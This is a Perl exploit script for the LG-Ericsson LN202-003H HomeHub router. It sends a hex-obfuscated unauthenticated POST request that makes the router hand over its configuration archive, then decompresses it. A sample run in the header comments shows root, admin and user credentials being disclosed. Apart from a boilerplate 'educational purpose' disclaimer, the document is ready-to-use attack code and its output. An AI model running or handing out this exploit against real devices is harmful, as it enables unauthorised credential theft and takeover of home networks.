#!/usr/bin/perl -w
#
#  LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!  
#  
#  (Dont do anything without permissions)
#
#  #  [test@localhost homehubrouter]$ perl lg_ericsson.pl http://192.168.1.1:13337 | egrep --color 'ROOT_ID|ROOT_PW|ADMIN_ID|ADMIN_PW|USER_ID|USER_PW'
#  #  [ LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure
#  #  [ ======================================================================
#  #  [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>
#  #  [ Initializing the browser
#  #  [ >>  Referer => http://192.168.1.1:13337
#  #  [ >>  User-Agent => Mozilla/5.0 (X11; U; GNU/kFreeBSD i686; en-US; rv:1.8.1.16) Gecko/20080702 Iceape/1.1.11 (Debian-1.1.11-1)
#  #  [ >>  Content-Type => application/x-www-form-urlencoded
#  #  [ <<  Connection => close
#  #  [ <<  Accept-Ranges => bytes
#  #  [ <<  Content-Length => 14890
#  #  [ <<  Content-Type => application/octet-stream
#  #  [ <<  Client-Date => Tue, 01 Oct 2019 16:52:41 GMT
#  #  [ <<  Client-Peer => 192.168.1.1:13337
#  #  [ <<  Client-Response-Num => 1
#  #  [ <<  Content-Disposition => attachment;filename="config.tgz"
#  #  [ <<  Content-Transfer-Encoding => binary
#  #  [ <<  Set-Cookie => QSESSIONID=de20d38aae21395cee9b5294429831b8; path=/
#  #  [
#  #  [ >> Decompressing the configuration dump...
#  #  [
#  #  [ USER_ID=
#  #  [ ./config/sys_password.conf0000644000000000000000000000010007033241613014553 0ustar  rootrootROOT_ID=ktroot
#  #  [ ROOT_PW=1234567890
#  #  [ USER_ID=ktuser
#  #  [ USER_PW=megaap
#  #  [ ./config/sys_user_id.conf0000644000000000000000000000003707033241613014354 0ustar  rootrootADMIN_ID=ktroot
#  #  [ USER_ID=ktuser
#  #  [ RA_USER_ID=
#  #  [ RA_USER_PW=
#  #  [test@localhost homehubrouter]$

# 
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster;
my $host = shift || 'https://192.168.1.1/'; # Full path url to the store
print  "\033[2J";    #clear the screen
print  "\033[0;0H"; #jump to 0,0
print STDERR "[ LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure\n";
print STDERR "[ ======================================================================\n";
print STDERR "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";
print STDERR "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);
print STDERR "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
   $browser->timeout(30);
   $browser->agent($user_agent);
my $target = $host."\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x73\x79\x73\x74\x65\x6d\x5f\x63\x6f\x6e\x66\x69\x67\x5f\x66\x69\x6c\x65";
my $payload = "\x63\x6f\x6e\x66\x69\x67\x5f\x63\x6d\x64\x3d\x25\x43\x30\x25\x46\x41\x25\x43\x30\x25\x45\x35";
my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host], $payload);                      
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print STDERR "[ >>  $_ => ", $request->header($_), "\n" for  $request->header_field_names;
print STDERR "[ <<  $_ => ", $response->header($_), "\n" for  $response->header_field_names;
my $gzip = $response->content();
print STDERR "[\n[ >> Decompressing the configuration dump...\n[\n";
print  "[ ", $_, "\n" for split(/\n/,gunzip($gzip));